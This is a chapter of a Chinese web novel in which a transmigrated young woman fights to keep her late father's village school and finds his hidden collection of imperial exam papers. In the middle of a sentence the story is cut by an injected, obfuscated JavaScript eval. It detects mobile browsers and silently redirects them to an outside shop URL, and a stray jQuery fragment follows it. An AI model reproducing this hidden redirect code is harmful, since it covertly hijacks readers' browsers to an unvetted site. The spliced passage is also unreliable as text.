杨明正色道:“姐夫一辈子都在操劳学堂的事,确实不能让它就这么荒废了不是?”
杨明明明说的都是好话,应随星却有不好的预感。
“刚刚巧,我有一堂哥,在城里老爷家做惯了管事,听说了咱家这一回事,要热心帮忙呢!”杨明顿了顿,“阿星要是想试,大可以让我堂哥把学堂操办着,阿星先跟着学几年。”
应随星努力抑制自己因嘲讽而上扬的嘴角。
“先跟着学”说得好听,明眼人都知道,学堂交给了劳什子堂哥,绝无回到她手里的可能。
应随星笑不出来,作惊讶状:“天底下竟有这样善心的人!”
杨明没听出尴尬的意味,乐呵呵接着话:“可不是!人家在城里那是大忙人,大红人,打理着数不清的家业,学堂交给他准没错。”
学堂万万不能假手他人,否则她一腔筹划尽数白费。
而且,这等同于有希望握回自己手里的命运,随之拱手送人了。
有什么法子解困?
无他,唯有抢占先机。
杨二姨家的新稻须三五日方能收完,此后杨明得进城里向那位通风报信,再等大忙人抽出空来收学堂,来回少说半个月。那么,她只能去搏在这半个月里让学堂有起色的一线可能。
一刻也等不得。应随星放下碗筷,望向杨明:“姨丈好心,我心领了。若有机会,真希望能与这热心肠的亲戚见上一见。”
杨明以为应随星应下了,堆着笑收拾起碗筷:“好说,这都好说。”
应随星同杨念娣一起帮着擦桌:“今日是爹爹三七,你们还要收稻,我自己去看看爹爹有没有在学堂落下什么遗物,同纸钱一并烧给他在底下用吧。”
“行,你认得路,我们就不陪你了。”杨明心情不错,虽然暂时没能应下史地主的亲事,但堂兄的事基本办成了,待事情一了,慢慢劝着,亲事应该也能水到渠成。
杨明拾起门边的镰刀,不忘留下一句:“中午我跟你二姨在地里吃,你自己吃好,不行让念娣给你家送点儿。”
学堂开在接近史家寨的地方,想是为了学生求学方便,应随星父女两个却要绕相当一段路。
田间地头的乡亲瞧见应随星孤零零一个人,招呼打得无不热络,应随星得体地回应了每一句“去哪呀”“一个人啊”“吃饭了吗”,然后为自己打出一条广告:
“对,我去修修窗子,修好了接着教孩子们念书!”
她把“我”字咬得很重,祈祷乡亲们一定要留下印象。
一间屋舍渐渐出现在应随星眼前,坑坑洼洼的土坯,略显稀疏的茅顶,等同于无的窗纸,以及落了一层薄灰的木门。若无人提示,任谁也不会把这间房子同“上学”联系在一起。
应随星轻推木门,只见趁着秋阳飘了一室轻尘,那幅先师像仿佛隔着河汉对她微笑。
“圣人安好。”应随星在心底默念,“也许是命中注定吧,国考前夜魂灵至此,是要圆我一场教书梦。”
她一步一步描摹着学堂的轮廓,抚摸过每一张桌凳,脑中不住思索着要如何重振学堂,这里缺了什么少了什么。
首先,今人启智,无一不是夫子执一卷书,摇头晃脑地念,学生跟着念,从“天地玄黄”念到“学而不思则罔”,则能时不时停下讲经,四书讲完是五经,五经讲罢,好一些的谈史论今,师资弱的便看个人造化。
应随星一瞬间就做出判断——溪头村不能用这种教法。
其次,父亲在时,束脩是定量的粮食与布帛。这是沿袭城中的做法,虽可保他们父女二人勉强温饱,却将相当的学生排除在外。其实本朝向学之风颇盛,不过囿于家无余粮,几个村子才送来十几个孩子。
所以,束脩之法也须因地制宜。
最后,这学堂既是她女承父业,也必然是新生。为了学堂更长久更光明的前途,合该有一个等待传诵的名字。
应随星略一思忖,用手指在讲席上划出四个字:
折桂学堂。
所谓蟾宫折桂,金榜题名,学子熙熙攘攘,无论人生抱负如何,这总是第一阶。
思绪清楚了,应随星开始四处翻找合适的材料,她准备立一块牌匾在门口,来来往往的多看一眼,就多一分印象,运气好还能多一分讨论。
“这也太……清贫了。”应随星翻翻找找,愣是没有一样多余的物件。这地方十分一览无余。
并非她找得不仔细,她甚至把先师像都掀了起来。
等等,先师像后面是什么?
应随星小心翼翼地把先师像掀起至三分之一处,先师像背面,她踮起脚才能够到的地方,一本册子静静地贴着土墙。仔细一看,她才发现那册子是用一根细细棉线的挂在铜钉上,铜钉亦在画像背后,又嵌入墙体极深,显然是为了这册子特意准备的。从正面,看不出半分痕迹。
取下册子,应随星发觉这用于悬挂的棉线较之装帧线新上许多,应当是悬册之人时时更换的缘故,换言之,有人时常翻阅之。这人自然不是她,更不会是目不识丁的杨二姨和姨丈。
册子的封面封底用的是习字的废纸,那缝衣裳的棉线又不起眼,丢在桌案上未必有人会多看一眼,应随星轻轻翻开,卷首写的几个大字却令她倒吸一口凉气:
科场觉迷录。
署名处涂涂改改,最后是“无路生”。第一版涂改处隐约可见一个“应”字。
确定了这“觉迷录”是亡父遗物,应随星决定继续翻下去。
没有任何体例说明,第二页赫然是“平康九年县试手录”,后面是数页的时文、试帖诗等。紧接着是“平康十年府试”“平康十一年院试”“平康十三年乡试”,然后,便是翻不到底的“乡试”。
突然有一年,册子上突然出现了“平康三十一年会试”,依旧是字迹端正的题目与文章。但是,这场考试以后,亦没有更进一步,直到去岁,康宁二
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289519|152088||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
年。
应随星心下大惊,所谓《科场觉迷录》,实际上,就是一本长达三十余年的科举真题集!
真题!带答案的!
真题集对于应试是什么概念?只消看现代社会的五年真题十年真题有多热销便知了。
这真题集还得益于应至舒的科举之路半程顺遂,半程坎坷。平康九年,推算回去他才十五岁,就连续过关斩将,十七岁中了秀才,极有希望鲤跃龙门当上举子,这一跃便是二十年。才积攒下如此一本。
可应至舒至死是个秀才,如何能写了半册的会试卷?
来不及细想,应随星下意识地把册子藏进怀里,她的脸颊有些发烫,分不清是紧张还是兴奋。
“找点事做,找点事做。”她在小小的堂屋里转了三圈,总算降温了些许,她也注意到了被她无意识撕成一条条的窗纸,对,修窗户。
应随星翻出父亲练字的宣纸,掸去灰,比在窗框上了,才发觉没有糨糊。
无奈,她奔波半刻回家,舀了一碗玉米粉,一点点尝试加水,熬出一盆像样的粘合剂。临出门,一只脚迈出门槛又收了回来。
她捡出几根柴火,让玉米糊保温而不至于损失太过,并把捡出的柴火在门口面向杨二姨家方向的位置搭起一堆,又翻出守灵时叠的金银元宝,外加一沓白纸铜钱,一点一点丢进火里,任由烟雾上升。
“爹爹,女儿给你烧纸了,爹爹在那边不用舍不得吃穿了……”
“爹爹,二姨对我可好了,你放心……”
“爹爹,你留下的,我都会看顾好,你放心。”
杨二姨在地头遥遥地看见烟,拍了拍蹲在旁边的丈夫:“当家的,那是姐夫家么?”
“瞧你这记性,阿星不是说了把姐夫的东西连纸钱一并烧了,这会子也该收拾妥了。”杨明答道,“烧干净了好,省得阿星多念想。”
太阳不断攀升,虽已入秋,仍然翻涌着热浪,应随星在田埂上小步奔跑,额头沁出薄汗,心中反而平静得多。趁着方才熬糨糊的时间,她的思绪已然冷静下来。
接近学堂,应随星却看到两个人影。
一个负手而立,一个鬼鬼祟祟,鬼鬼祟祟那个还在对学堂指指点点些什么。
无论是从身形还是衣着来看,这两人绝非村里的庄稼汉。
应随星抱着玉米面糊糊,停在了距离二人十步处。离得近些,能看到一个身上银色暗纹时隐时现,一个身上金丝滚边波光粼粼。两人身上佩着款式一致的玉佩,更兼镂金革带,立在田野上显得光彩夺目。
只听鬼鬼祟祟的说:“哥,你说这里面会不会闹鬼?”
站得板正的说:“子不语怪力乱神①。”
另一个又说:“茅屋,雨夜,你又是书生,这得多招野狐精啊!”
听声音二人都很年轻,长不了她几岁,但重要的是,应随星咳了两声:
“二位,青天白日,造谣是要负责的。”